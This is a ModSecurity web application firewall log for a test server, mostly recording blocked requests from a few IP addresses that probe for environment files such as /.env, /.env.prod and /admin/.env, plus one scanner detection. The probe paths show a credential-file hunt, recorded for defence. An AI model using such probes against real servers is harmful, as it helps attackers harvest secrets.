[Sun Sep 07 23:17:43.434770 2025] [:error] [pid 2558733] [client 195.178.110.161:38580] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL32d1L4ZeA6zaNplnWANAAAAAU&quot;]
[Sun Sep 07 23:17:43.725998 2025] [:error] [pid 2558732] [client 195.178.110.161:38594] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL32d7zw3A9eipeGMzqFlwAAAAI&quot;]
[Sun Sep 07 23:17:43.726245 2025] [:error] [pid 2558732] [client 195.178.110.161:38594] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL32d7zw3A9eipeGMzqFlwAAAAI&quot;]
[Sun Sep 07 23:17:43.726464 2025] [:error] [pid 2558732] [client 195.178.110.161:38594] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL32d7zw3A9eipeGMzqFlwAAAAI&quot;]
[Sun Sep 07 23:17:43.970174 2025] [:error] [pid 2558695] [client 195.178.110.161:38598] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL32d4qASZu6lu3oNUPQaQAAAAQ&quot;]
[Sun Sep 07 23:17:43.970441 2025] [:error] [pid 2558695] [client 195.178.110.161:38598] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL32d4qASZu6lu3oNUPQaQAAAAQ&quot;]
[Sun Sep 07 23:17:43.970621 2025] [:error] [pid 2558695] [client 195.178.110.161:38598] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL32d4qASZu6lu3oNUPQaQAAAAQ&quot;]
[Sun Sep 07 23:17:44.312198 2025] [:error] [pid 2558698] [client 195.178.110.161:38612] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL32ePZF_w7_3ZcmXF2qggAAAB8&quot;]
[Sun Sep 07 23:17:44.312434 2025] [:error] [pid 2558698] [client 195.178.110.161:38612] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL32ePZF_w7_3ZcmXF2qggAAAB8&quot;]
[Sun Sep 07 23:17:44.312624 2025] [:error] [pid 2558698] [client 195.178.110.161:38612] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL32ePZF_w7_3ZcmXF2qggAAAB8&quot;]
[Sun Sep 07 23:17:44.627551 2025] [:error] [pid 2558734] [client 195.178.110.161:38626] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL32eDTF-BMHlL8UJ5ThFwAAAAY&quot;]
[Sun Sep 07 23:17:44.627797 2025] [:error] [pid 2558734] [client 195.178.110.161:38626] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL32eDTF-BMHlL8UJ5ThFwAAAAY&quot;]
[Sun Sep 07 23:17:44.628033 2025] [:error] [pid 2558734] [client 195.178.110.161:38626] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL32eDTF-BMHlL8UJ5ThFwAAAAY&quot;]
[Sun Sep 07 23:17:44.960467 2025] [:error] [pid 2558735] [client 195.178.110.161:38632] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL32eHO8WCoQXZ-CMQV7jgAAAAc&quot;]
[Sun Sep 07 23:17:44.960704 2025] [:error] [pid 2558735] [client 195.178.110.161:38632] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL32eHO8WCoQXZ-CMQV7jgAAAAc&quot;]
[Sun Sep 07 23:17:44.960868 2025] [:error] [pid 2558735] [client 195.178.110.161:38632] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL32eHO8WCoQXZ-CMQV7jgAAAAc&quot;]
[Sun Sep 07 23:18:06.149569 2025] [:error] [pid 2558733] [client 195.178.110.161:35746] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL32jlL4ZeA6zaNplnWANQAAAAU&quot;]
[Sun Sep 07 23:18:06.149813 2025] [:error] [pid 2558733] [client 195.178.110.161:35746] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL32jlL4ZeA6zaNplnWANQAAAAU&quot;]
[Sun Sep 07 23:18:06.149969 2025] [:error] [pid 2558733] [client 195.178.110.161:35746] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL32jlL4ZeA6zaNplnWANQAAAAU&quot;]
[Sun Sep 07 23:18:11.383377 2025] [:error] [pid 2558732] [client 195.178.110.161:46164] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL32k7zw3A9eipeGMzqFmAAAAAI&quot;]
[Sun Sep 07 23:18:11.383615 2025] [:error] [pid 2558732] [client 195.178.110.161:46164] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL32k7zw3A9eipeGMzqFmAAAAAI&quot;]
[Sun Sep 07 23:18:11.383800 2025] [:error] [pid 2558732] [client 195.178.110.161:46164] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL32k7zw3A9eipeGMzqFmAAAAAI&quot;]
[Sun Sep 07 23:18:11.628125 2025] [:error] [pid 2558695] [client 195.178.110.161:46168] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL32k4qASZu6lu3oNUPQagAAAAQ&quot;]
[Sun Sep 07 23:18:11.628370 2025] [:error] [pid 2558695] [client 195.178.110.161:46168] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL32k4qASZu6lu3oNUPQagAAAAQ&quot;]
[Sun Sep 07 23:18:11.628534 2025] [:error] [pid 2558695] [client 195.178.110.161:46168] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL32k4qASZu6lu3oNUPQagAAAAQ&quot;]
[Mon Sep 08 09:45:54.898993 2025] [:error] [pid 2571308] [client 18.224.192.118:39201] [client 18.224.192.118] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aL6Jsgvr-6_cS0Q7j5GyzgAAAAE&quot;]
[Mon Sep 08 09:45:54.899409 2025] [:error] [pid 2571308] [client 18.224.192.118:39201] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aL6Jsgvr-6_cS0Q7j5GyzgAAAAE&quot;]
[Mon Sep 08 09:45:54.899604 2025] [:error] [pid 2571308] [client 18.224.192.118:39201] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aL6Jsgvr-6_cS0Q7j5GyzgAAAAE&quot;]
[Mon Sep 08 20:53:47.337666 2025] [:error] [pid 2584526] [client 45.139.104.170:36962] [client 45.139.104.170] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL8mO6MPaAiKSrcwjxELqAAAAAA&quot;]
[Mon Sep 08 20:53:47.337989 2025] [:error] [pid 2584526] [client 45.139.104.170:36962] [client 45.139.104.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL8mO6MPaAiKSrcwjxELqAAAAAA&quot;]
[Mon Sep 08 20:53:47.338170 2025] [:error] [pid 2584526] [client 45.139.104.170:36962] [client 45.139.104.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL8mO6MPaAiKSrcwjxELqAAAAAA&quot;]
[Tue Sep 09 15:05:01.142387 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxIwAAAAc&quot;]
[Tue Sep 09 15:05:01.142591 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMAl_VSrOgbtr_HnXCKxIwAAAAc&quot;]
